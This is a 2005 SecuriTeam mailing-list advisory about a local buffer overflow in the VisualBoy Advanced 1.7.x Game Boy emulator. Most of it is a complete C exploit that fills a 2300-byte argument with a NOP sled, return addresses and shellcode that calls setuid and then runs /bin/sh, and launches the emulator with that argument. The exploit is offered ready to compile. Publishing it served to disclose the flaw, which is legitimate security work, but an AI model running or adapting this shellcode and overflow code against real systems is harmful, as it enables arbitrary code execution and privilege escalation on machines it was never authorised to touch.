[EXPL] VisualBoy Advanced Local Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/14/05

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Date: 14 Sep 2005 18:31:36 +0200

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      VisualBoy Advanced Local Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://vba.ngemu.com/> VisualBoy Advanced is "an emulator for Gameboy
    and GameboyAdvance systems."

    Lack of proper parameter filtering allows local attackers to execute
    arbitrary code in VisualBoy Advanced.

    DETAILS

    Vulnerable Systems:
     *VisualBoy Advanced version 1.7.x

    Exploit:
    /*
    VisualBoyAdvanced 1.7.x BufferOver Flow exploit
    VBA - WEBSITE : vba.ngemu.com
    Found & coded by Qnix - Qnix[at]bsdmail[dot]org
    */

    #include <stdlib.h>

    char shellcode[] =
           "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
           "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
           "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
           "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
           "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
           "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
           "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
           "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

    unsigned long sp(void)
    { __asm__("movl %esp, %eax");}

    int main(int argc, char *argv[])
    {
      int i, offset;
      long esp, ret, *addr_ptr;
      char *buffer, *ptr;

      offset = 0;
      esp = sp();
      ret = esp - offset;

    if (argc >= 2) {
    printf("\n ************************************************ \n");
    printf(" VisualBoyAdvanced 1.7.x BufferOver Flow exploit \n");
    printf(" by Qnix[at]bsdmail[dot]org ");
    printf("\n ************************************************ \n\n");
    printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
    printf("[~] Offset from ESP : 0x%x\n", offset);
    printf("[~] Desired Return Addr : 0x%x\n\n", ret);
    } else {
    printf("\n ************************************************ \n");
    printf(" VisualBoyAdvanced 1.7.x BufferOver Flow Exploit \n");
    printf(" by Qnix[at]bsdmail[dot]org ");
    printf("\n ************************************************ \n\n");
    printf("useage : ./vba-exp <VisualBoyAdvanced File> \n\n");
    }

    buffer = malloc(2300);

    ptr = buffer;
    addr_ptr = (long *) ptr;
    for(i=0; i < 2300; i+=4)
    { *(addr_ptr++) = ret; }

    for(i=0; i < 1900; i++)
    { buffer[i] = '\x90'; }

    ptr = buffer + 1900;
    for(i=0; i < strlen(shellcode); i++)
    { *(ptr++) = shellcode[i]; }

    buffer[2300-1] = 0;

    execl(argv[1],"VisualBoyAdvance",buffer,0);

    free(buffer);

      return 0;
    }

    /* EoF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:qnix@bsdmail.org> Qnix.

    ========================================

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